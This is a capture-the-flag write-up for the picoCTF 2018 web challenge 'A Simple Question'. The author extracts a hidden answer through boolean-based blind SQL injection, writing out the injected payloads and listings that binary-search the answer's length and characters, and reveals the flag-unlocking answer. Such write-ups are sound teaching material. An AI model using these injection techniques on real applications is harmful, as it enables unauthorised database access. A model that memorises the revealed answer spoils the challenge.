Here’s a walkthrough of my approximate solution path for the problem “A Simple Question” in PicoCTF 2018. This was a fun problem about nontrivial but not particularly advanced SQL injection. There are probably many other good resources on better techniques than those presented here - I am not an avid CTF player, only dabbling in it a little from time to time - but I hope this can serve as a guide for taking the first steps beyond the bare basics of SQL injection.

Chapter 1: Exploration

“A Simple Question” was a problem for 650 points in the Web Exploitation category, and its prompt was:

There is a website running at http://2018shell2.picoctf.com:2644 (link). Try to see if you can answer its question.

Visiting this URL, I’m greeted by this simple form:

Figure 1: The question form.

All right. First thing to do on web exploitation problems is to view the page source…

Figure 2: The form source.

Nothing immediately springs out as important here… except the comment source code is in answer2.phps. So let’s see what I find at http://2018shell2.picoctf.com:2644/answer2.phps.

Figure 3: The PHP "source".

Ok, so there’s some kind of mangled display of some kind of source here. This doesn’t look like all of it, but there are plenty of hints on what I need to achieve. Before I dig deeper into this, I’ll try poking a little at that form. There’s something about SQL in the “source”, so I’ll try right away with a minimal SQL injection attempt by posting ';--.

Figure 4: The first attempt.

Oh, so I actually get to see the query! That’s helpful — if it’s true, that is. Assuming it is, I see I can trivially make the WHERE clause evaluate to true with the input ' OR 1=1'; --:

Figure 5: The second attempt.

Ok, something happened!

Chapter 2: Ideation

Let’s go back and take another look at Figure 3. It looks like my goal is to execute that code containing $FLAG… and it looks like that code path is preceded by a comparison between $answer and $CANARY. I’m not sure what $answer is, but $CANARY hints at some kind of guard value. Maybe there are multiple rows in the database, including a sentinel value $CANARY, arranged in such a way that all but a specifically crafted query will select that sentinel value and let the code detect the SQL injection? What if I sort the result set?

Figure 6: What if I sort the result set?

Hm, no apparent difference. Can I crash the SQL query?

Figure 7: Can I crash it?

Woop, indeed I can. At this point I tap into my rather limited CTF experience and remember something about conditional crashes as a way to work with almost-blind SQL injections, so I spend some time trying to make the query crash depending on the outcome of the query. I try to build something from short-circuit logic…

' OR 1=1 AND (answer < "a" OR (1/0 = 1)); --

…but nothing I try seems to work — the zero division doesn’t crash the query, and references to undefined names crash the query unconditionally. My SQL-fu is clearly lacking here.

But hey, maybe I don’t need any of that to make use of the idea answer < "a"?

Figure 8: Can I restrict the possible domain of the answer?

Bingo! Looks like I’m onto something here.

Chapter 3: Assessment

So I’m starting to build up a concept for a solution. Let’s see what else I can probe for. Can I find the length of the answer?

  1. WHERE answer='' OR (LENGTH(answer) > 10 AND answer < "a") - So close!
  2. WHERE answer='' OR (LENGTH(answer) > 100 AND answer < "a") - Wrong.
  3. WHERE answer='' OR (LENGTH(answer) < 100 AND answer < "a") - So close!
  4. WHERE answer='' OR (LENGTH(answer) < 50 AND answer < "a") - So close!
  5. WHERE answer='' OR (LENGTH(answer) < 25 AND answer < "a") - So close!
  6. WHERE answer='' OR (LENGTH(answer) < 12 AND answer < "a") - Wrong.
  7. WHERE answer='' OR (LENGTH(answer) < 17 AND answer < "a") - So close!
  8. WHERE answer='' OR (LENGTH(answer) < 15 AND answer < "a") - So close!
  9. WHERE answer='' OR (LENGTH(answer) < 13 AND answer < "a") - Wrong.
  10. WHERE answer='' OR (LENGTH(answer) < 14 AND answer < "a") - Wrong.
  11. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "a") - So close!
Listing 1: Binary search!

All right, so now I know that the answer is 14 characters long, and that I can probably binary search for the first character. So, remembering that the ASCIIbetical order of alphanumeric characters is 0-9A-Za-z, I go ahead and try that:

  1. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "a" - So close!
  2. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "A" - So close!
  3. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "0" - Wrong.
  4. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "5" - So close!
  5. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "3" - Wrong.
  6. WHERE answer='' OR (LENGTH(answer) = 14 AND answer < "4" - Wrong.
  7. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" - So close!

Listing 2: More brinary search!

I keep the LENGTH clause in there to reduce the risk that I get confused in case there are multiple matching rows in the database.

A-ha! Found you! Looks like the first character in the answer is 4.

Chapter 4: Execution

I now have a fully baked solution method in mind, so it’s just a matter of repeating the above process for the remaining 13 characters. If I was a more routined CTF player I would probably automate this, but since I know the length I decide that it’s probably more efficient to just go through it manually.

  1. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "4a") - So close!
  2. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "4A") - So close!
  3. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "45") - So close!
  4. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "43") - So close!
  5. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "41") - Wrong.
  6. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "4%" AND answer < "42") - So close!
  7. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41%" AND answer < "41a") - So close!
  8. And so on...
  9. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41AndSixSi%" AND answer < "41AndSixSiA") - Wrong.
  10. At this point I'm starting to think about the alleged Question, "What do you get when you multiply six by nine?" in the Hitch-Hiker's Guide to the Galaxy, but it doesn't quite seem to fit. Carrying on...
  11. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41AndSixSixth%" AND answer < "41AndSixSixthm") - Wrong.
  12. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41AndSixSixth%" AND answer < "41AndSixSixtht") - So close!
  13. I still haven't figured out the solution at this point. It's around 05:00, and I'm probably not entirely lucid.
  14. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41AndSixSixth%" AND answer < "41AndSixSixthp") - Wrong.
  15. WHERE answer='' OR (LENGTH(answer) = 14 AND answer LIKE "41AndSixSixth%" AND answer < "41AndSixSixths") - Wrong.
Listing 3: I hope you like binary search...
Figure 9: Heureka!

A-ha! There it is! …but it seems like I’m not fully done yet…

Oh right, remember the $CANARY from Figure 3? if ($answer == $CANARY) { echo "Perfect!";? What if…

Figure 10: Maybe like this...
Figure 11: Victory!

Wohoo, there we go! 650 points to me!

Epilogue

So there’s as accurate a recount as I can manage of my journey through this problem. It was a fun and rewarding challenge, but ultimately not terribly advanced. I hope this can help someone learn a thing or two about what one can do with SQL injections beyond — but without needing much more than — the bare basics. Thanks for reading!